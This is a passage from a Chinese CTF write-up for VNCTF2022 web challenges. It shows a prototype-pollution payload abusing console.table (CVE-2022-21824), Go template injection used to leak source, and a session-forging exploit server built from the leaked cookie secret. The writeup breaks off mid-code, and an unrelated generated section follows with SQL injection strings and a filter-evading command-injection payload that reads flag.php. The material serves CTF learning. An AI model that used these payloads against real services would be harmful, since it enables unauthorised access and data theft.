[BUUCTF][VNCTF2022公开赛]web wp

本文详细介绍了参与BUUCTF和VNCTF2022公开赛的Web挑战,涉及GameV4.0、newcalc0、gocalc0、easyJava等关卡的解决方案。内容涵盖了原型链污染、SSTI、文件读取、条件竞争、反序列化、SUID提权、PHP漏洞利用等多种技术。解题过程中利用了base64解码、在线反编译工具、线程安全问题分析、redis主从复制RCE等方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

GameV4.0

image-20220212102026276

base64解码即可

newcalc0

镜像为node:lts-alpine,package.json全部为最新包

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

考察原型链污染,利用CVE-2022-21824

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/

payload

console.table([{a:1}],['__proto__'])

之后再访问/flag即可

console.tableAPI的作用是将数据以表格的形式显示。

console.table 的代码中:lib/internal/console/constructor.js

// tabularData 是第一个参数 [{x:1}]
// properties 是第二个参数 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i < indexKeyArray.length; i++) {
  const item = tabularData[indexKeyArray[i]];
  const primitive = item === null ||
      (typeof item !== 'function' && typeof item !== 'object');
  if (properties === undefined && primitive) {
    hasPrimitives = true;
    valuesKeyArray[i] = _inspect(item);
  } else {
    const keys = properties || ObjectKeys(item);
	
    // for of 的时候 key 是 __proto__ 
    for (const key of keys) {
      if (map[key] === undefined)
        map[key] = [];
      
      // !ObjectPrototypeHasOwnProperty(item, key) 成立
      if ((primitive && properties) ||
           !ObjectPrototypeHasOwnProperty(item, key))

        // 因此 map[__proto__][0] 是空字串
        map[key][i] = '';
      else
        map[key][i] = _inspect(item[key]);
    }
  }
}

gocalc0

非预期

base64解码两次即可

image-20220214011443436

预期

SSTI得到源码

{
  
  {.}}

源码

package main
import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{
  
  {result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{
  
  {result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "

EXP:

package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8088"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

在本地启动

### BUUCTF Web 题目 Writeup #### SQL 注入攻击中的堆叠注入技巧 在处理SQL注入漏洞时,堆叠注入是一种常见的技术。具体来说,在给定场景中,通过向服务器发送恶意构造的HTTP请求来获取数据库结构信息。例如,为了查询数据库名称: ```sql 1' UNION SELECT NULL, version() -- ``` 当进一步探索表名时,可以利用以下方法绕过简单的过滤机制[^1]。 对于更复杂的过滤条件,比如`from`关键字被加入黑名单的情况,则需要更加巧妙的方法去规避这些限制。一种可能的方式是使用子查询或者其他不涉及敏感关键词的技术实现相同功能。 #### 利用命令注入读取文件内容 针对存在命令注入缺陷的应用程序,可以通过精心设计的有效载荷(payload)执行任意操作系统指令。如下面的例子所示,它展示了如何通过修改URL参数并结合Linux shell工具链(`echo`, `tr`, 和 `cat`)来读取特定文件的内容而不触发基于正则表达式的检测规则[^2]: ```bash /?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat ``` 这段代码的作用是以大写字母形式传递目标文件名,并将其转换成小写后再调用`cat`命令打印出来,从而成功绕过了仅识别全小写的防护措施。 #### URL编码与特殊字符替换 PHP框架对来自客户端的数据进行了预处理,这可能导致原始输入发生变化。了解这种行为有助于理解为何某些Payload能够生效而另一些却不行。特别是关于空白符和其他控制字符是如何被解释和存储的知识点非常重要。例如,空格可能会变为下划线或其他符号;NULL字节(%00)也可能引起意外的结果。因此,在构建测试案例之前应该充分考虑这些问题的影响[^3]. ```php <?php // 示例:展示 PHP 如何解析 URL 参数 parse_str('foo=%20bar&baz%00=fizz', $output); print_r($output); // Array ( [foo_] => bar [baz_] => fizz ) ?> ``` 以上就是一些典型的CTF竞赛中遇到的安全挑战及其解决方案概览。希望上述分析能帮助读者更好地理解和解决类似的网络安全问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值